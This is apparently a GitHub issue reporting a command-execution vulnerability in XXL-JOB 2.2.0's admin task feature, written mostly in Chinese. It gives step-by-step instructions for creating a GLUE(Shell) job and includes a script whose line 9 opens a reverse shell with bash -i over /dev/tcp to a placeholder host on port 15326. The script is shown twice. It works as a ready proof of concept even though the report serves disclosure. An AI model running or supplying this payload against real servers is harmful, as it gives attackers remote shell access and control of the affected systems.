<> Code   ⊙ **Issues**   926   ⅀ **Pull requests**   117   ▷ Actions   ⊞ Projects   📖 Wiki   •••

New issue

后台任务存在命令执行漏洞 #2979

⊙ **Open**   **badboycxcc** opened this issue on Sep 13 · 0 comments

---

badboycxcc commented on Sep 13

后台任务存在命令执行漏洞

Which version of XXL-JOB do you using?

XXL-JOB 2.2.0

利用流程

新建任务

    更新任务

执行器*	skydome-job ⇅	任务描述*	shell
路由策略*	第一个 ⇅	Cron*	* * * * * ? ✎
运行模式*	GLUE(Shell) ⇅	JobHandler*	请输入JobHandler
阻塞处理策略*	单机串行 ⇅	子任务ID*	请输入子任务的任务ID,如存在多个则逗·
任务超时时间*	10	失败重试次数*	0
负责人*	1	报警邮件*	请输入报警邮件，多个邮件地址则逗号⌇
任务参数*	1		

保存   取消

选择IDE 编辑

操作

操作 ▼

执行一次
查询日志
注册节点
下次执行时间

GLUE IDE

启动
编辑
删除
复制

反弹shell

```
WebIDE    【GLUE(Shell)】 shell
1 #!/bin/bash
2 echo "xxl-job: hello shell"
3
4 echo "脚本位置: $0"
5 echo "任务参数: $1"
6 echo "分片序号 = $2"
7 echo "分片总数 = $3"
8
9 echo "`bash -c 'exec bash -i &>/dev/tcp/xx.xx.xx.xx/15326 <&1'`"
10 echo "Good bye!"
11 exit 0
12
```

Code.

```
#!/bin/bash
echo "xxl-job: hello shell"

echo "脚本位置: $0"
echo "任务参数: $1"
echo "分片序号 = $2"
```

```
    echo "分片总数 = $3"

    echo "`bash -c 'exec bash -i &>/dev/tcp/xx.xx.xx.xx/15326 <&1'`"
    echo "Good bye!"
    exit 0
```

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

---

1 participant